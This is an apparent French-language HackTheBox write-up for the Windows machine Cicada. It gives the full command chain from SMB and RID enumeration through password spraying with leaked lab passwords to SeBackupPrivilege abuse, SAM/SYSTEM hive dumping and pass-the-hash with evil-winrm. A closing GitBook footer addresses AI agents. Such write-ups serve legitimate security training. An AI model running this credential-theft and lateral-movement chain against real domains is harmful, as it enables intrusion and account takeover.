> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md).

# Compte rendu HackTheBox de Cicada

{% embed url="<https://app.hackthebox.com/machines/Cicada>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération SMB (RID-Brute)
* Fuite d'informations (description de l'utilisateur) (netexec)
* Élévation de privilèges (SeBackupPrivilege)
* Extraction SAM (pypykatz)
* Pass-the-Hash (EvilWinRM)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/1598767c807729ca87dd5a9e1e7a4a93e9b3f5ce" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/5dd240c7dc4ff17e8af3342be86c77e83078001c" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts
```

<figure><img src="/files/9ad94ff45101be99d655cfd490b1737c3a66ada4" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

<figure><img src="/files/d03c24782442871e244901d7e14a9c036078ceb9" alt=""><figcaption></figcaption></figure>

Scan de version des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted
```

<figure><img src="/files/d7c503ce66ba4e59e561690d6546c138aa78d1f0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/35dd5496f3f620cbe17af061543c2526f1b67b82" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier :

<figure><img src="/files/aa75cca93774eb4ea6609d7c84869c4af16a2c6f" alt=""><figcaption></figcaption></figure>

### Port 445 - SMB

**Énumération SMB avec smbmap**

Pour lister les ressources partagées avec une session nulle :

```bash
smbmap -H 10.10.11.35 -u 'null'
```

<figure><img src="/files/78c8fe69dd3c0c200a8311538d0ae1e4dd092128" alt=""><figcaption></figcaption></figure>

Le **RH** contient un fichier texte intéressant. Nous explorons son contenu :

```bash
smbmap -H 10.10.11.35 -u 'null' -r HR
```

<figure><img src="/files/9f61bb4b44d1c9386e3fa209dcd712c8c2d1d7cb" alt=""><figcaption></figcaption></figure>

**Télécharger le fichier**

Nous accédons au partage et téléchargeons le fichier :

```bash
smbclient //10.10.11.35/HR -N
get "Notice from HR.txt"
```

<figure><img src="/files/b9abe19942ccf403d21e34cc94c04d16cc26549f" alt=""><figcaption></figcaption></figure>

Le fichier contient un mot de passe

* mot de passe : `Cicada$M6Corpb*@Lp#nZp!8`

<figure><img src="/files/f2d6ddc4070e2b854dee91fd7401fb2882e79fa0" alt=""><figcaption></figcaption></figure>

## Liste RID-Brute

#### Pour identifier les utilisateurs du domaine, nous lançons une attaque RID-Brute :

```bash
crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute
```

> Le `--rid-brute` le paramètre est utilisé pour effectuer une /*/* attaque par force brute/*/* sur **RID (identifiants liés)** utilisateurs dans un domaine Windows. Un RID fait partie de l'identifiant unique d'un utilisateur dans un système Windows et est généralement utilisé pour identifier les comptes utilisateur et les groupes

<figure><img src="/files/b48f663520ffc84a4174b8a9d933f1cdbd74fdd3" alt=""><figcaption></figcaption></figure>

Voici la liste des utilisateurs trouvés :

```
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

#### Validation des utilisateurs

Nous testons le mot de passe trouvé pour tous les utilisateurs :

```bash
crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

L'utilisateur **michael.wrightson** utilise ce mot de passe.

<figure><img src="/files/5b2f8f9da2288dbe6316173309ed0eb0e63dfc39" alt=""><figcaption></figcaption></figure>

### Utilisateur Michael :

### Énumération avec netexec

Nous utilisons **michael.wrightson** identifiants pour explorer davantage :

```bash
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

<figure><img src="/files/44ff8cc22772cffd41065f82f82f55f185de7c59" alt=""><figcaption></figcaption></figure>

Cela révèle le mot de passe en clair de l'utilisateur **david.orelious**:

* nom d'utilisateur : `david.orelious`
* mot de passe : `aRt$Lp#7t*VQ!3`

/*/Validation et énumération SMB avec les identifiants dans //* **david.orelious**

### Pivot vers l'utilisateur David

Nous validons les identifiants de david.orelious avec CrackMapExec :

```bash
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
```

<figure><img src="/files/377d16664c98005aebaa6b57f6a41a206864768e" alt=""><figcaption></figcaption></figure>

Ensuite, nous explorons les partages SMB accessibles sur la cible avec smbmap :

```bash
smbmap -H 10.10.11.35 -u david.orelious
```

<figure><img src="/files/edfa3597b9ed4ba04171519fa9ca3912da737cf1" alt=""><figcaption></figcaption></figure>

Nous nous connectons ensuite au partage DEV avec smbclient :

```bash
smbclient //10.10.11.35/DEV -U david.orelious
```

Dans ce partage, nous trouvons un script nommé backup/ script.ps1.

<figure><img src="/files/b9e84d48bc2c11ce266ad2ab5af36b001aeb96e9" alt=""><figcaption></figcaption></figure>

### Pivot vers l'utilisateur Emily

Nous téléchargeons le script backup/ script.ps1 avec la commande get et découvrons l'identifiant de l'utilisateur emily.oscars

* nom d'utilisateur : emily.oscars
* mot de passe : Q!3\@Lp#M6b/\*7t/\*Vt

<figure><img src="/files/b18ae7ad440abe9cf4e87cd4367a91d881da2afd" alt=""><figcaption></figcaption></figure>

Nous validons ces identifiants avec CrackMapExec :

```bash
crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

Nous nous connectons ensuite à la machine avec Evil-WinRM :

```bash
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

<figure><img src="/files/1b9116e848d106db1c2ee3b34c0ac52926cdfabc" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt

Nous récupérons le drapeau à partir du fichier user.txt.

<figure><img src="/files/383e46fd1717ca1adadfceae53a21ccc0c1fc66f" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

### whoami /priv - SeBackupPrivilege

{% embed url="<https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf>" %}

**Vérification des privilèges**

Pour commencer, vérifions les privilèges de l'utilisateur actuel. Exécutez la commande suivante pour vérifier si l'utilisateur a le `SeBackupPrivilege` privilège :

```bash
whoami /priv
```

<figure><img src="/files/581aa637c3da53d16ec5e2f9851293ad4981cc3f" alt=""><figcaption></figcaption></figure>

**Télécharger les fichiers DLL nécessaires**

Pour exploiter ces privilèges, téléchargez les fichiers DLL sur la machine victime. Ils sont disponibles [ici](https://github.com/giuliano108/SeBackupPrivilege).

1. **SeBackupPrivilegeCmdLets.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll>" %}

2. **SeBackupPrivilegeUtils.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll>" %}

Téléchargez ces fichiers sur la machine de la victime à l'aide des commandes suivantes

```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/636dafd8b8c6ffaa87ebc2e844cff42b7630d070" alt=""><figcaption></figcaption></figure>

**Chargement des modules DLL**

Une fois les fichiers DLL téléchargés, chargez-les dans la session PowerShell à l'aide des commandes suivantes :

```powershell
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

**Sauvegarder les fichiers SAM et SYSTEM**

Nous allons maintenant enregistrer les `SAM` et `SYSTEM` fichiers qui contiennent les informations d'identification des utilisateurs. Utilisez les commandes suivantes pour les enregistrer :

```powershell
reg save hklm/sam sam
reg save hklm/system system
```

<figure><img src="/files/9966e3497a108a4fdcb3e3da6a53666fc8539fb8" alt=""><figcaption></figcaption></figure>

**Télécharger les fichiers SAM et SYSTEM**

Après avoir enregistré les fichiers, vous pouvez les télécharger sur votre machine virtuelle (VM) pour les analyser :

```powershell
download sam
download system
```

<figure><img src="/files/4a8165730c51350465c155d2cdd42ed07f8c7c48" alt=""><figcaption></figcaption></figure>

### **Extraction des hachages du fichier SAM**

Utilisez `samdump2` pour extraire les hachages de `SAM` et `SYSTEM` fichiers :

```bash
samdump2 system sam
```

<figure><img src="/files/8057119e23b82291762a7d6bf6881dcfe29d19c2" alt=""><figcaption></figcaption></figure>

Si cette commande ne fonctionne pas, vous pouvez essayer `pypykatz` pour extraire les hachages directement :

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/8ca269e1e0fb65e7883310df5ccb04dc1011e459" alt=""><figcaption></figcaption></figure>

Cela devrait fournir un hachage valide, par exemple :

* hachage : `2b87e7c93a3e8a0ea4a581937016f341`

### **Pass-the-Hash avec Evil-WinRM**

Maintenant que vous avez le hachage, vous pouvez l'utiliser pour effectuer un « Pass-the-Hash » et vous connecter à la machine cible en utilisant `evil-winrm`:

```bash
evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/25badc2cb8c6ce0ffc73c0b7ba851e4ae752e76a" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/d6b6683304db895dc565b2e3b1f279e178569aba" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d15eea396ae2668741ccba2b4dde5b9d39e95804" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
